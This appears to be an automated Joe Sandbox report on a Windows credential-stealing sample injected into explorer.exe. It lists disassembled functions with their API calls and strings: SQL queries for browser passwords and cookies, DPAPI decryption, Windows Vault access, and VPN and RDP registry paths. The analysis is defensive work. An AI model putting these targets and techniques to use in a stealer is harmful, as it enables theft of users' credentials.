Source File: 0000000B.00000002.4582327275.00007FF7CBCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CBCA0000, based on PE: true

Associated: 0000000B.00000002.4582203663.00007FF7CBCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582365915.00007FF7CBCB1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582402290.00007FF7CBCB4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582453683.00007FF7CBCB5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7cbca0000_8CAE.jbxd

Similarity

API ID: Heap__memcpy$Process$Freelstrlen
String ID: last_visit_time$table$url$urls
API String ID: 2336645791-3896411411
Opcode ID: 50821f25f0cb2751fab6b95a68dc4b7fcf46b3044d28eb552ffeba5f77d45c67
Instruction ID: 418d2e29a6a1f5572bb911d458a1f0c28042c39dcc09c0ec4ec9588864681fce
Opcode Fuzzy Hash: 50821f25f0cb2751fab6b95a68dc4b7fcf46b3044d28eb552ffeba5f77d45c67
Instruction Fuzzy Hash: E431636160C79281EE70EE2EE4501EAA750FB84BA0F808531EF9D877A6EF3CD545C720

Function 00007FF7CBCAECBC Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7CBCA25DC: GetProcessHeap.KERNEL32(?,?,?,00007FF7CBCA1985,?,?,?,00007FF7CBCA155F), ref: 00007FF7CBCA25E5

__memcpy.DELAYIMP ref: 00007FF7CBCAED43

Part of subcall function 00007FF7CBCB0114: __memcpy.DELAYIMP ref: 00007FF7CBCB0145
Part of subcall function 00007FF7CBCB0114: __memcpy.DELAYIMP ref: 00007FF7CBCB0153

Part of subcall function 00007FF7CBCAEB94: lstrlenA.KERNEL32 ref: 00007FF7CBCAEBB1

Part of subcall function 00007FF7CBCA25B4: GetProcessHeap.KERNEL32 ref: 00007FF7CBCA25C1
Part of subcall function 00007FF7CBCA25B4: RtlFreeHeap.NTDLL ref: 00007FF7CBCA25CF

Strings

urls, xrefs: 00007FF7CBCAED0C
table, xrefs: 00007FF7CBCAECEE
url, xrefs: 00007FF7CBCAED8C
last_visit_time, xrefs: 00007FF7CBCAED9F

Memory Dump Source

Source File: 0000000B.00000002.4582327275.00007FF7CBCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CBCA0000, based on PE: true

Associated: 0000000B.00000002.4582203663.00007FF7CBCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582365915.00007FF7CBCB1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582402290.00007FF7CBCB4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582453683.00007FF7CBCB5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7cbca0000_8CAE.jbxd

Similarity

API ID: Heap__memcpy$Process$Freelstrlen
String ID: last_visit_time$table$url$urls
API String ID: 2336645791-3896411411
Opcode ID: 152a2d5ca8424219c1645b7db4641ab7528640e05460c9e3818a3068e443641a
Instruction ID: 8ae440521657a4c1cdbe7de0dde9cfef882de36cea4fa0c2e7d90c1297c5cfb3
Opcode Fuzzy Hash: 152a2d5ca8424219c1645b7db4641ab7528640e05460c9e3818a3068e443641a
Instruction Fuzzy Hash: BE31536260869345EF30AE2AA4501AAF750BB85BA0F904431EF4D47BA5EE3CD555C750

Function 00007FF7CBCAE3AC Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 64stringCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32 ref: 00007FF7CBCAE3DC
PathAppendW.SHLWAPI ref: 00007FF7CBCAE3EA

Strings

":", xrefs: 00007FF7CBCAE481
"},, xrefs: 00007FF7CBCAE49F
Software\Fortinet\FortiClient\Sslvpn\Tunnels, xrefs: 00007FF7CBCAE3D0

Memory Dump Source

Source File: 0000000B.00000002.4582327275.00007FF7CBCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CBCA0000, based on PE: true

Associated: 0000000B.00000002.4582203663.00007FF7CBCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582365915.00007FF7CBCB1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582402290.00007FF7CBCB4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582453683.00007FF7CBCB5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7cbca0000_8CAE.jbxd

Similarity

API ID: AppendPathlstrcpy
String ID: ":"$"},$Software\Fortinet\FortiClient\Sslvpn\Tunnels
API String ID: 3043196718-4231764533
Opcode ID: 41717d2b28b12b861b56b77c4a305ba195c6b11fe973075c33dbed15fd8a1f2e
Instruction ID: b7c672c18bd4f773f9c0932136f8b45aaf7ef2b8c9b943350211a2e6d6be3f30
Opcode Fuzzy Hash: 41717d2b28b12b861b56b77c4a305ba195c6b11fe973075c33dbed15fd8a1f2e
Instruction Fuzzy Hash: 94319E61654AA281DB20AF69E8442E9B365FB88BE0F944532FF5D077A9CF3CD504C710

Function 00007FF7CBCA1DE8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 68registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32 ref: 00007FF7CBCA1E35
RegSetValueExA.ADVAPI32 ref: 00007FF7CBCA1EBE
RegCloseKey.ADVAPI32 ref: 00007FF7CBCA1ED1

Strings

?, xrefs: 00007FF7CBCA1E29

Memory Dump Source

Source File: 0000000B.00000002.4582327275.00007FF7CBCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CBCA0000, based on PE: true

Associated: 0000000B.00000002.4582203663.00007FF7CBCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582365915.00007FF7CBCB1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582402290.00007FF7CBCB4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582453683.00007FF7CBCB5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7cbca0000_8CAE.jbxd

Similarity

API ID: CloseCreateValue
String ID: ?
API String ID: 1818849710-1684325040
Opcode ID: 95ba9ea116202154f80c3a303d626d01697fe8fb572a65aab9065d47d504427e
Instruction ID: bb0c4077df1a6cc5451e933fa63c94025fb4ec515e44db7c5b6446156dd1b2cc
Opcode Fuzzy Hash: 95ba9ea116202154f80c3a303d626d01697fe8fb572a65aab9065d47d504427e
Instruction Fuzzy Hash: 1E21C773A147908EE7209F75A8402EDB7A4FB597A8B944225EB8C07B59DF3CC144CB10

Function 00007FF7CBCAE604 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 45stringCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32 ref: 00007FF7CBCAE623
PathAppendW.SHLWAPI ref: 00007FF7CBCAE631

Part of subcall function 00007FF7CBCACCF8: RegGetValueW.ADVAPI32 ref: 00007FF7CBCACD37
Part of subcall function 00007FF7CBCACCF8: RegGetValueW.ADVAPI32 ref: 00007FF7CBCACD76

Part of subcall function 00007FF7CBCA25B4: GetProcessHeap.KERNEL32 ref: 00007FF7CBCA25C1
Part of subcall function 00007FF7CBCA25B4: RtlFreeHeap.NTDLL ref: 00007FF7CBCA25CF

Strings

Software\SonicWALL\SSL-VPN NetExtender\Standalone\Profiles, xrefs: 00007FF7CBCAE617
"},, xrefs: 00007FF7CBCAE6AF

Memory Dump Source

Source File: 0000000B.00000002.4582327275.00007FF7CBCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CBCA0000, based on PE: true

Associated: 0000000B.00000002.4582203663.00007FF7CBCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582365915.00007FF7CBCB1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582402290.00007FF7CBCB4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582453683.00007FF7CBCB5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7cbca0000_8CAE.jbxd

Similarity

API ID: HeapValue$AppendFreePathProcesslstrcpy
String ID: "},$Software\SonicWALL\SSL-VPN NetExtender\Standalone\Profiles
API String ID: 784796242-1893226844
Opcode ID: 56f71f68fbf130069fe557fb8e3a7c8bf433f458dc10dc9b1a9b8d1950a128cc
Instruction ID: 4f65549979f6463c9b60bb3e22d97bf3ef3ed00229ad2a1ab00b18c8fb6df729
Opcode Fuzzy Hash: 56f71f68fbf130069fe557fb8e3a7c8bf433f458dc10dc9b1a9b8d1950a128cc
Instruction Fuzzy Hash: 75118E116486A240DA30BF69E8953FAE360EF84BE0F841531FB9D4B6BADE2CD104C710

Function 00007FF7CBCACBF4 Relevance: 6.1, APIs: 4, Instructions: 61registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32 ref: 00007FF7CBCACC39
RegEnumKeyExW.ADVAPI32 ref: 00007FF7CBCACC73
RegEnumKeyExW.ADVAPI32 ref: 00007FF7CBCACCC2
RegCloseKey.ADVAPI32 ref: 00007FF7CBCACCD1

Memory Dump Source

Source File: 0000000B.00000002.4582327275.00007FF7CBCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CBCA0000, based on PE: true

Associated: 0000000B.00000002.4582203663.00007FF7CBCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582365915.00007FF7CBCB1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582402290.00007FF7CBCB4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582453683.00007FF7CBCB5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7cbca0000_8CAE.jbxd

Similarity

API ID: Enum$CloseOpen
String ID:
API String ID: 1701607978-0
Opcode ID: ef76d64d6cf8778b5dc3921a799c46b9aee72b0b08683383b909529c2558360e
Instruction ID: f5cdc763a5b77a46ce58c44edc250efd76d136808dae1c1be8ec4184ae9e8fa4
Opcode Fuzzy Hash: ef76d64d6cf8778b5dc3921a799c46b9aee72b0b08683383b909529c2558360e
Instruction Fuzzy Hash: 03216933618B9582D7208F15E48476AB7B4F788B84F540236EB8C43B28CF3DD559CB00

Function 00007FF7CBCAE4D4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65stringCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32 ref: 00007FF7CBCAE500
PathAppendW.SHLWAPI ref: 00007FF7CBCAE50E

Part of subcall function 00007FF7CBCACCF8: RegGetValueW.ADVAPI32 ref: 00007FF7CBCACD37
Part of subcall function 00007FF7CBCACCF8: RegGetValueW.ADVAPI32 ref: 00007FF7CBCACD76

Strings

Software\Microsoft\Terminal Server Client\Servers, xrefs: 00007FF7CBCAE4F4

Memory Dump Source

Source File: 0000000B.00000002.4582327275.00007FF7CBCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CBCA0000, based on PE: true

Associated: 0000000B.00000002.4582203663.00007FF7CBCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582365915.00007FF7CBCB1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582402290.00007FF7CBCB4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582453683.00007FF7CBCB5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7cbca0000_8CAE.jbxd

Similarity

API ID: Value$AppendPathlstrcpy
String ID: Software\Microsoft\Terminal Server Client\Servers
API String ID: 19203174-1233151749
Opcode ID: 0d695f50cfbc54c939f23020370ed581918cd74b60817dfd48474a5e17f4269d
Instruction ID: b7c4221d4cdb8c629e0419d663d44481bc8bf9d7e41ce2d1335963e4f561f03a
Opcode Fuzzy Hash: 0d695f50cfbc54c939f23020370ed581918cd74b60817dfd48474a5e17f4269d
Instruction Fuzzy Hash: 1621DF61628A9285DB30FF66D8502EEA360FB88BD0F840531FB5D4B7A9DE3CC604C710

Function 00007FF7CBCAFDE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableW.KERNEL32 ref: 00007FF7CBCAFE11
lstrcatW.KERNEL32 ref: 00007FF7CBCAFE1E

Part of subcall function 00007FF7CBCAFF3C: lstrlenW.KERNEL32 ref: 00007FF7CBCAFF62
Part of subcall function 00007FF7CBCAFF3C: lstrlenW.KERNEL32 ref: 00007FF7CBCAFF7E
Part of subcall function 00007FF7CBCAFF3C: WideCharToMultiByte.KERNEL32 ref: 00007FF7CBCAFFA7
Part of subcall function 00007FF7CBCAFF3C: PathFileExistsA.SHLWAPI ref: 00007FF7CBCAFFB0
Part of subcall function 00007FF7CBCAFF3C: OpenFile.KERNEL32 ref: 00007FF7CBCAFFC9
Part of subcall function 00007FF7CBCAFF3C: GetFileSize.KERNEL32 ref: 00007FF7CBCAFFE9
Part of subcall function 00007FF7CBCAFF3C: CreateFileMappingA.KERNEL32 ref: 00007FF7CBCB0020
Part of subcall function 00007FF7CBCAFF3C: MapViewOfFile.KERNEL32 ref: 00007FF7CBCB0041
Part of subcall function 00007FF7CBCAFF3C: __memcpy.DELAYIMP ref: 00007FF7CBCB0053
Part of subcall function 00007FF7CBCAFF3C: UnmapViewOfFile.KERNEL32 ref: 00007FF7CBCB005E
Part of subcall function 00007FF7CBCAFF3C: CloseHandle.KERNEL32 ref: 00007FF7CBCB0067
Part of subcall function 00007FF7CBCAFF3C: CloseHandle.KERNEL32 ref: 00007FF7CBCB0070

Part of subcall function 00007FF7CBCAF280: __memcpy.DELAYIMP ref: 00007FF7CBCAF29E

Part of subcall function 00007FF7CBCA25B4: GetProcessHeap.KERNEL32 ref: 00007FF7CBCA25C1
Part of subcall function 00007FF7CBCA25B4: RtlFreeHeap.NTDLL ref: 00007FF7CBCA25CF

Strings

APPDATA, xrefs: 00007FF7CBCAFE0A

Memory Dump Source

Source File: 0000000B.00000002.4582327275.00007FF7CBCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CBCA0000, based on PE: true

Associated: 0000000B.00000002.4582203663.00007FF7CBCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582365915.00007FF7CBCB1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582402290.00007FF7CBCB4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582453683.00007FF7CBCB5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7cbca0000_8CAE.jbxd

Similarity

API ID: File$CloseHandleHeapView__memcpylstrlen$ByteCharCreateEnvironmentExistsFreeMappingMultiOpenPathProcessSizeUnmapVariableWidelstrcat
String ID: APPDATA
API String ID: 2395011915-4054820676
Opcode ID: cec1ab9afa3ae12122d372c36ef716b8056693dd0c9b4a40219edd8f34d93ed0
Instruction ID: 7f210e618221ce93b2fc6cad54b7190bb3be6df8277cfd831fe4efb0b1c1976d
Opcode Fuzzy Hash: cec1ab9afa3ae12122d372c36ef716b8056693dd0c9b4a40219edd8f34d93ed0
Instruction Fuzzy Hash: 07113A22628A5691EF20EF19E4445EEB361FB847A4FC44431FB8D87A69EF3CD509C760

Analysis Process: explorer.exePID: 3536, Parent PID: 4004COMMON

Execution Graph

Execution Coverage:	3.7%
Dynamic/Decrypted Code Coverage:	47.8%
Signature Coverage:	3.6%
Total number of Nodes:	692
Total number of Limit Nodes:	83

Executed Functions

Function 00433717 Relevance: 45.9, APIs: 19, Strings: 7, Instructions: 401
stringfileencryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00431B6A: CreateFileW.KERNELBASE(00000000,00000080,00000000,00000000,00000003,00000000,00000000,00000000,00432893,00000000,00000000,00000000,?), ref: 00431B82
Part of subcall function 00431B6A: CloseHandle.KERNELBASE(00000000), ref: 00431B8F

GetTempPathW.KERNEL32(00000104,00000000), ref: 00433778
GetTempFileNameW.KERNELBASE(00000000,00000000,00000000,00000000), ref: 00433782
DeleteFileW.KERNELBASE(00000000), ref: 00433789
CopyFileW.KERNELBASE(?,00000000,00000000), ref: 00433794
RtlCompareMemory.NTDLL(00000000,?,00000003), ref: 0043383B
RtlZeroMemory.NTDLL(?,00000040), ref: 00433870
lstrlen.KERNEL32(?,?,?,?,?), ref: 0043398B
lstrlen.KERNEL32(00000000), ref: 0043399A
wsprintfA.USER32 ref: 004339F1
lstrlen.KERNEL32(00000000,?,?), ref: 004339FD
lstrcat.KERNEL32(00000000,?), ref: 00433A21
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00433A49
lstrlen.KERNEL32(?,00000000,00000000,00000000,00000000), ref: 00433B13
lstrlen.KERNEL32(00000000), ref: 00433B22
wsprintfA.USER32 ref: 00433B79
lstrlen.KERNEL32(00000000), ref: 00433B85
lstrcat.KERNEL32(00000000,?), ref: 00433BA9
lstrlen.KERNEL32(00000000,?,?,?,00000000,00000000,?), ref: 00433BDA
DeleteFileW.KERNELBASE(00000000,00000000,?), ref: 00433C16

Strings

COOKIES, xrefs: 00433BE8, 00433BED, 00433BF6
v1, xrefs: 00433821
%sTRUE%s%s%s%s%s, xrefs: 004339EB, 00433B73
0, xrefs: 00433828
SELECT host_key,path,is_secure,name,encrypted_value FROM cookies, xrefs: 004337C3
TRUE, xrefs: 004339C9, 00433B51
FALSE, xrefs: 004339BC, 00433B3C

Memory Dump Source

Source File: 0000000D.00000002.3226044754.0000000000431000.00000040.80000000.00040000.00000000.sdmp, Offset: 00431000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_431000_explorer.jbxd

Similarity

API ID: lstrlen$File$DeleteMemoryTemplstrcatwsprintf$CloseCompareCopyCreateCryptDataHandleNamePathUnprotectZero
String ID: %sTRUE%s%s%s%s%s$0$COOKIES$FALSE$SELECT host_key,path,is_secure,name,encrypted_value FROM cookies$TRUE$v1
API String ID: 584740257-404540950
Opcode ID: a4704bf0a5f378ace2102f47440095f567c2b4a82f1af463ddeb2d8cba48db84
Instruction ID: 4a1019d9b8e64eefd1f36e02d83f3393fb165fe123e2b8b145f72a99b4c5513d
Opcode Fuzzy Hash: a4704bf0a5f378ace2102f47440095f567c2b4a82f1af463ddeb2d8cba48db84
Instruction Fuzzy Hash: B4E1CD70208341AFD715EF25C884B2FBBE9AF89359F04582EF48587262DB39DD05CB5A

Function 00432198 Relevance: 33.5, APIs: 12, Strings: 7, Instructions: 242
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlZeroMemory.NTDLL(?,00000114), ref: 004321AF
GetVersionExW.KERNEL32(?), ref: 004321BE
LoadLibraryW.KERNELBASE(vaultcli.dll), ref: 004321E8
GetProcAddress.KERNEL32(00000000,VaultOpenVault), ref: 0043220A
GetProcAddress.KERNEL32(00000000,VaultCloseVault), ref: 00432214
GetProcAddress.KERNEL32(00000000,VaultEnumerateItems), ref: 00432220
GetProcAddress.KERNEL32(00000000,VaultGetItem), ref: 0043222A
GetProcAddress.KERNEL32(00000000,VaultFree), ref: 00432236
RtlCompareMemory.NTDLL(?,00491110,00000010), ref: 004322E8
RtlCompareMemory.NTDLL(?,00491110,00000010), ref: 0043236C

Part of subcall function 00431953: lstrlenW.KERNEL32(?,00000000,00000000,?,?,00432F0C), ref: 00431973
Part of subcall function 00431953: lstrlenW.KERNEL32(00486564,?,?,00432F0C), ref: 00431978
Part of subcall function 00431953: lstrcatW.KERNEL32(00000000,?,?,?,00432F0C), ref: 00431990
Part of subcall function 00431953: lstrcatW.KERNEL32(00000000,00486564,?,?,00432F0C), ref: 00431994

StrStrIW.SHLWAPI(?,Internet Explorer), ref: 004323FE
FreeLibrary.KERNELBASE(00000000), ref: 00432493

Strings

vaultcli.dll, xrefs: 004321E3
VaultCloseVault, xrefs: 0043220C
VaultFree, xrefs: 0043222C
Internet Explorer, xrefs: 004323F8
VaultOpenVault, xrefs: 00432204
VaultEnumerateItems, xrefs: 00432216
VaultGetItem, xrefs: 00432222

Memory Dump Source

Source File: 0000000D.00000002.3226044754.0000000000431000.00000040.80000000.00040000.00000000.sdmp, Offset: 00431000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_431000_explorer.jbxd

Similarity

API ID: AddressProc$Memory$CompareLibrarylstrcatlstrlen$FreeLoadVersionZero
String ID: Internet Explorer$VaultCloseVault$VaultEnumerateItems$VaultFree$VaultGetItem$VaultOpenVault$vaultcli.dll
API String ID: 2583887280-2831467701
Opcode ID: e5d3e767e1675982d8478db87371a402f9f6296ded96e45e98d94ae9a954a031
Instruction ID: 2b70c0cdde8322ba86d4e9ca1c0f81224b390b0d3aae2b8a935526ab81f7eeed
Opcode Fuzzy Hash: e5d3e767e1675982d8478db87371a402f9f6296ded96e45e98d94ae9a954a031
Instruction Fuzzy Hash: 4491AC71A083419FD758DF65C984A2FBBE5AF9C704F00582EF98597261EBB8D801CB4A

Function 00433098 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 248
fileencryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00431B6A: CreateFileW.KERNELBASE(00000000,00000080,00000000,00000000,00000003,00000000,00000000,00000000,00432893,00000000,00000000,00000000,?), ref: 00431B82
Part of subcall function 00431B6A: CloseHandle.KERNELBASE(00000000), ref: 00431B8F

GetTempPathW.KERNEL32(00000104,00000000), ref: 004330F9
GetTempFileNameW.KERNELBASE(00000000,00000000,00000000,00000000), ref: 00433103
DeleteFileW.KERNELBASE(00000000), ref: 0043310A
CopyFileW.KERNELBASE(?,00000000,00000000), ref: 00433115
RtlCompareMemory.NTDLL(00000000,00000000,00000003), ref: 004331A4
RtlZeroMemory.NTDLL(?,00000040), ref: 004331D7
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 004332DF
DeleteFileW.KERNELBASE(00000000,00000000,?), ref: 0043339C

Strings

0, xrefs: 00433191
v1, xrefs: 0043318A
SELECT origin_url,username_value,password_value FROM logins, xrefs: 00433136
@, xrefs: 004331F1

Memory Dump Source

Source File: 0000000D.00000002.3226044754.0000000000431000.00000040.80000000.00040000.00000000.sdmp, Offset: 00431000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_431000_explorer.jbxd

Similarity

API ID: File$DeleteMemoryTemp$CloseCompareCopyCreateCryptDataHandleNamePathUnprotectZero
String ID: 0$@$SELECT origin_url,username_value,password_value FROM logins$v1
API String ID: 2757140130-4052020286
Opcode ID: 2e6ced6736ad7879f64b5723a48797ace518257ad0f8bbc09ad8c224e8f46639
Instruction ID: 6fa35361312a451785c96f1fdfea81fbde38d1dfd2838ae2a596f9bd94d57f92
Opcode Fuzzy Hash: 2e6ced6736ad7879f64b5723a48797ace518257ad0f8bbc09ad8c224e8f46639
Instruction Fuzzy Hash: 7091BE71208341AFD710DF25C884A2FBBE9AFC9749F04592EF88597261DB39DD04CB1A

Function 00433ED9 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 82
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00431000: GetProcessHeap.KERNEL32(00000008,?,004311C7,?,?,00000001,00000000,?), ref: 00431003
Part of subcall function 00431000: RtlAllocateHeap.NTDLL(00000000), ref: 0043100A

PathCombineW.SHLWAPI(00000000,00000000,*.*,?,00000000), ref: 00433F0A
FindFirstFileW.KERNELBASE(00000000,?,?,00000000), ref: 00433F16
lstrcmpiW.KERNEL32(?,004862CC), ref: 00433F38
lstrcmpiW.KERNEL32(?,004862D0), ref: 00433F4C
PathCombineW.SHLWAPI(00000000,00000000,?), ref: 00433F69
lstrcmpiW.KERNEL32(?,Local State), ref: 00433F7E
PathCombineW.SHLWAPI(00000000,00000000,?), ref: 00433F9B
FindNextFileW.KERNELBASE(00000000,00000010), ref: 00433FB5
FindClose.KERNELBASE(00000000), ref: 00433FC4

Strings

*.*, xrefs: 00433F01
Local State, xrefs: 00433F78

Memory Dump Source

Source File: 0000000D.00000002.3226044754.0000000000431000.00000040.80000000.00040000.00000000.sdmp, Offset: 00431000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_431000_explorer.jbxd

Similarity

API ID: CombineFindPathlstrcmpi$FileHeap$AllocateCloseFirstNextProcess
String ID: *.*$Local State
API String ID: 3923353463-3324723383
Opcode ID: cc7d59ff3ce8763302e573171c28b8d0e3419679a6b3d48d3df90a4e04b87549
Instruction ID: cf8446e08cbd7bdca9b116890ceb585c1306ce3298a122dd132e688071826e55
Opcode Fuzzy Hash: cc7d59ff3ce8763302e573171c28b8d0e3419679a6b3d48d3df90a4e04b87549
Instruction Fuzzy Hash: E321CF302002046BD754BF318C0CA2F76BC9F8A316F45292FF812C22A2DB7C9948876E

Function 00432B15 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 102
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00431953: lstrlenW.KERNEL32(?,00000000,00000000,?,?,00432F0C), ref: 00431973
Part of subcall function 00431953: lstrlenW.KERNEL32(00486564,?,?,00432F0C), ref: 00431978
Part of subcall function 00431953: lstrcatW.KERNEL32(00000000,?,?,?,00432F0C), ref: 00431990
Part of subcall function 00431953: lstrcatW.KERNEL32(00000000,00486564,?,?,00432F0C), ref: 00431994

FindFirstFileW.KERNELBASE(00000000,?,00000000,00000000,?,00000000), ref: 00432B3D
lstrcmpiW.KERNEL32(?,004862CC), ref: 00432B63
lstrcmpiW.KERNEL32(?,004862D0), ref: 00432B7B

Part of subcall function 004319B4: lstrlenW.KERNEL32(00000000,00000000,00000000,00432CAF,00000000,00000000,?,?,00000000,PathToExe,00000000,00000000), ref: 004319C4

StrStrIW.SHLWAPI(00000000,logins.json), ref: 00432BE7
StrStrIW.SHLWAPI(00000000,cookies.sqlite), ref: 00432C16
FindNextFileW.KERNELBASE(00000000,00000010), ref: 00432C43
FindClose.KERNELBASE(00000000), ref: 00432C52

Strings

cookies.sqlite, xrefs: 00432C10
logins.json, xrefs: 00432BE1
\*.*, xrefs: 00432B15

Memory Dump Source

Source File: 0000000D.00000002.3226044754.0000000000431000.00000040.80000000.00040000.00000000.sdmp, Offset: 00431000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_431000_explorer.jbxd

Similarity

API ID: Findlstrlen$Filelstrcatlstrcmpi$CloseFirstNext
String ID: \*.*$cookies.sqlite$logins.json
API String ID: 1108783765-3717368146
Opcode ID: 8ba857f5a8f3f46ac410c6109af9488e61889ab00dff7fa96b72037c9778ce58
Instruction ID: 69f194283b523d1c5df19f87d188033a830a458e70ef58b31cc99e312d329811
Opcode Fuzzy Hash: 8ba857f5a8f3f46ac410c6109af9488e61889ab00dff7fa96b72037c9778ce58
Instruction Fuzzy Hash: 5431A1303043014B8A54BF329D59A3F739AAF8C304F04693FB95692292EBBDCD06975E

Function 00431D4A Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 109
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004319B4: lstrlenW.KERNEL32(00000000,00000000,00000000,00432CAF,00000000,00000000,?,?,00000000,PathToExe,00000000,00000000), ref: 004319C4

FindFirstFileW.KERNELBASE(00000000,?,?,00000000), ref: 00431DA9
lstrcmpiW.KERNEL32(?,004862CC), ref: 00431DCF
lstrcmpiW.KERNEL32(?,004862D0), ref: 00431DE7
lstrcmpiW.KERNEL32(?,?), ref: 00431E62

Part of subcall function 00431CF7: lstrlenW.KERNEL32(00000000,00000000,00000000,00432C27), ref: 00431D02
Part of subcall function 00431CF7: RtlComputeCrc32.NTDLL(00000000,00000000,00000000), ref: 00431D0D

FindNextFileW.KERNELBASE(00000000,00000010), ref: 00431E94
FindClose.KERNELBASE(00000000), ref: 00431EA3

Part of subcall function 00431953: lstrlenW.KERNEL32(?,00000000,00000000,?,?,00432F0C), ref: 00431973
Part of subcall function 00431953: lstrlenW.KERNEL32(00486564,?,?,00432F0C), ref: 00431978
Part of subcall function 00431953: lstrcatW.KERNEL32(00000000,?,?,?,00432F0C), ref: 00431990
Part of subcall function 00431953: lstrcatW.KERNEL32(00000000,00486564,?,?,00432F0C), ref: 00431994

Strings

*.*, xrefs: 00431D8B
\*.*, xrefs: 00431D79

Memory Dump Source

Source File: 0000000D.00000002.3226044754.0000000000431000.00000040.80000000.00040000.00000000.sdmp, Offset: 00431000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_431000_explorer.jbxd

Similarity

API ID: lstrlen$Findlstrcmpi$Filelstrcat$CloseComputeCrc32FirstNext
String ID: *.*$\*.*
API String ID: 232625764-1692270452
Opcode ID: f48f7e192fc555afdf7a839f175406d8068e83c3d1a100a7a4c182faa3ead535
